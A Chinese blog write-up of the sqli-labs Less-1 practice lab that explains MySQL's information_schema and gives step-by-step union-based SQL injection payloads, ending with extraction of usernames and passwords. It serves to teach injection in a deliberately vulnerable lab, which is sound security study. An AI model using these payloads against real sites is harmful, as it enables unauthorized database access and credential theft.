sqli-labs Less-1
2020-03-30 本文已影响0人
LonelySong
MySQL中的information_schema数据库表说明:
SCHEMATA表:提供了当前MySQL实例中所有数据库的信息。是show databases的结果取之此表。
TABLES表:提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于哪个schema,表类型,表引擎,创建时间等信息。是show tables from schemaname的结果取之此表。
COLUMNS表:提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。是show columns from schemaname.tablename的结果取之此表。
1.字符型SQL注入的关键是单引号的闭合
2.MySQL数据库对于单引号的规则如下:
单引号必须成对出现,否则数据库就会报错。
如果两个单引号之间内容为空,数据库自动忽略。
3.如何判断是否是字符型注入
id=xx'
id=xx''
如果第一个页面出现错误则,而使用第二个的时候页面正常,该url可以进行字符型注入。


4.猜字段数
方法一:
id=1' union select 1,2,3,4 --+

这是可以看到页面显示不正常,我们减少union select后面跟的参数
id=1' union select 1,2,3 --+

此时页面显示正常,我们可以得知共有3个字段
方法二:
index.php?id=1' order by 3--+

index.php?id=1' order by 4--+

4.使用联合查询查看页面是否有显示位
index.php?id=-1' union select 1,2,3--+
这里需要注意的是id的值需要是一个数据库中不存在的值,这样显示位才会显示我们后面联合查询中的数据。

5.爆出数据库版本和当前数据库名
index.php?id=-1' union select 1,version(),database()--+

6.爆出所有数据库
index.php?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata--+

7.爆出当前数据库所有表
index.php?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="security"--+

8.查询当前数据库users表所有字段
index.php?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+

9.查询数据
index.php?id=-1' union select 1,group_concat(username,":",password),3 from users --+
